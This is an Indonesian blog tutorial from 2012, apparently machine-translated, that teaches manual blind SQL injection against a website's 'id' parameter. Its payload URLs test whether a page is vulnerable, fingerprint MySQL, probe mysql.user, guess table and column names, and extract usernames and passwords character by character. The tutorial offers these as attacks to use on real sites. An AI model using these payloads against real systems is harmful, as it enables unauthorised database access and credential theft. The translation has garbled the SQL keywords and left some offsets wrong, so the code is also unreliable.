Kamis, 17 Mei 2012

Blind SQLi



Mari kita kemon,ok kita cekibrot!!!
Misalkan Itu Anda ingin Hack Website ini dengan Blind SQLi
http://site.com/index.php?id=5
ketika kita menjalankan ini, kita melihat beberapa halaman dan artikel di halaman tersebut, gambar dll ...
maka ketika kita ingin menguji untuk serangan injeksi sql buta
http://www.jangar.com/index.php?id=5 dan 1 = 1 <--- ini selalu benar dan beban halaman normal, itu ok. sekarang tes yang sesungguhnya
http://www.site.com/index.php?id=5 dan 1 = 2 <--- ini adalah palsu jadi jika beberapa teks, gambar atau beberapa konten yang hilang pada halaman kembali maka situs yang vulrnable untuk injeksi sql buta.
1) Dapatkan versi MySQL untuk mendapatkan versi dalam serangan buta kita gunakan substring i.e http://www.jangar.com/index.php?id=5 dan substring (@ @ version, 1,1) = 4 ini harus kembali TRUE jika versi MySQL adalah 4. ganti 4 dengan 5, dan jika query mengembalikan TRUE maka versi adalah 5. i.e http://www.jangar.com/index.php?id=5 dan substring (@ @ version, 1,1) = 5 2) Uji jika subselect bekerja ketika pilih tidak bekerja maka kita gunakan subselect i.e http://www.jangar.com/index.php?id=5 dan (pilih 1) = 1 jika load halaman secara normal maka subselects kerja. maka kita akan melihat apakah kita memiliki akses ke mysql.user i.e http://www.jangar.com/index.php?id=5 dan (pilih 1 dari batas mysql.user 0,1) = 1 jika beban halaman biasanya kita memiliki akses ke mysql.user dan kemudian kita bisa menarik beberapa load_file sandi usign () fungsi dan OUTFILE. 3). Memeriksa nama-nama tabel dan kolom Ini adalah bagian ketika menebak adalah teman terbaik :) yaitu http://www.jangar.com/index.php?id=5 dan (pilih 1 dari batas pengguna 0,1) = 1 (Dengan batas 0,1 query kita disini mengembalikan 1 baris data, menyebabkan subselect mengembalikan hanya 1 baris, ini sangat penting.) maka jika beban halaman normal tanpa isi hilang, meja pengguna keluar. jika Anda mendapatkan FALSE (beberapa artikel hilang), hanya mengubah nama tabel sampai Anda menebak yang benar :) katakanlah bahwa kami telah menemukan bahwa nama tabel adalah pengguna, sekarang apa yang kita butuhkan adalah kolom nama. sama dengan nama tabel, kita mulai menebak-nebak. Seperti saya katakan sebelumnya mencoba umum nama untuk kolom. i.e http://www.jangar.com/index.php?id=5 dan (substring pilih (concat (1, password), 1,1) dari batas pengguna 0,1) = 1 jika halaman beban biasanya kita tahu bahwa nama kolom adalah password (jika kita mendapatkan palsu kemudian mencoba nama-nama umum atau hanya menebak) di sini kita menggabungkan 1 dengan password kolom, kemudian substring kembali yang pertama karakter (, 1,1) 4). Tarik data dari database kami menemukan pengguna meja saya kolom username password jadi kita akan menarik karakter dari itu. http://www.jangar.com/index.php?id=5 dan ascii (substring ((SELECT concat (Username, 0x3a, password) dari pengguna batas 0,1), 1,1))> 80 ok ini di sini menarik karakter pertama dari pengguna pertama dalam tabel users. substring disini akan mengembalikan karakter pertama dan 1 karakter panjangnya. ascii () mengkonversi bahwa 1 karakter ke nilai ascii dan kemudian membandingkannya dengan simbol lebih besar maka>. jadi jika ascii char lebih besar maka 80, halaman sudah terbuka secara normal. (TRUE) kami terus mencoba sampai kita mendapatkan palsu. http://www.jangar.com/index.php?id=5 dan ascii (substring ((SELECT concat (Username, 0x3a, password) dari pengguna batas 0,1), 1,1))> 95 kita mendapatkan TRUE, tetap incrementing http://www.jangar.com/index.php?id=5 dan ascii (substring ((SELECT concat (Username, 0x3a, password) dari pengguna batas 0,1), 1,1))> 98 BENAR lagi, lebih tinggi http://www.jangar.com/index.php?id=5 dan ascii (substring ((SELECT concat (Username, 0x3a, password) dari pengguna batas 0,1), 1,1))> 99 SALAH! jadi karakter pertama dalam username adalah char (99). Menggunakan converter ascii kita tahu bahwa char (99) adalah huruf 'c'. kemudian mari kita memeriksa karakter kedua. http://www.site.com/index.php?id=5 dan ascii (substring ((SELECT concat (Username, 0x3a, password) dari pengguna batas 0,1), 2,1))> 99 Perhatikan bahwa saya berubah, 1,1 untuk, 2,1 untuk mendapatkan karakter kedua. (Sekarang mengembalikan karakter kedua, 1 karakter di lenght) http://www.jangar.com/index.php?id=5 dan ascii (substring ((SELECT concat (Username, 0x3a, password) dari pengguna batas 0,1), 1,1))> 99 TRUE, halaman beban normal, lebih tinggi. http://www.jangar.com/index.php?id=5 dan ascii (substring ((SELECT concat (Username, 0x3a, password) dari pengguna batas 0,1), 1,1))> 107 SALAH nomor, lebih rendah. http://www.jangar.com/index.php?id=5 dan ascii (substring ((SELECT concat (Username, 0x3a, password) dari pengguna batas 0,1), 1,1))> 104 TRUE, lebih tinggi. http://www.jangar.com/index.php?id=5 dan ascii (substring ((SELECT concat (Username, 0x3a, password) dari pengguna batas 0,1), 1,1))> 105 SALAH! kita tahu bahwa karakter kedua adalah char (105) dan itu adalah 'i'. Kami memiliki 'Ci' sejauh jadi ingatlah incrementing sampai Anda mendapatkan akhir. (Bila> 0 returns false kita tahu bahwa kita harus mencapai bagian akhir). Ada beberapa alat untuk Blind SQL Injection, saya pikir sqlmap adalah yang terbaik, tapi aku melakukan semuanya secara manual, menyebabkan yang membuat Anda lebih baik SQL INJECTOR: D Harap Anda belajar sesuatu dari tutorial ini. 

Donlot noh ga 
PowerTool

.

.
Template by : kendhin Honor Jangar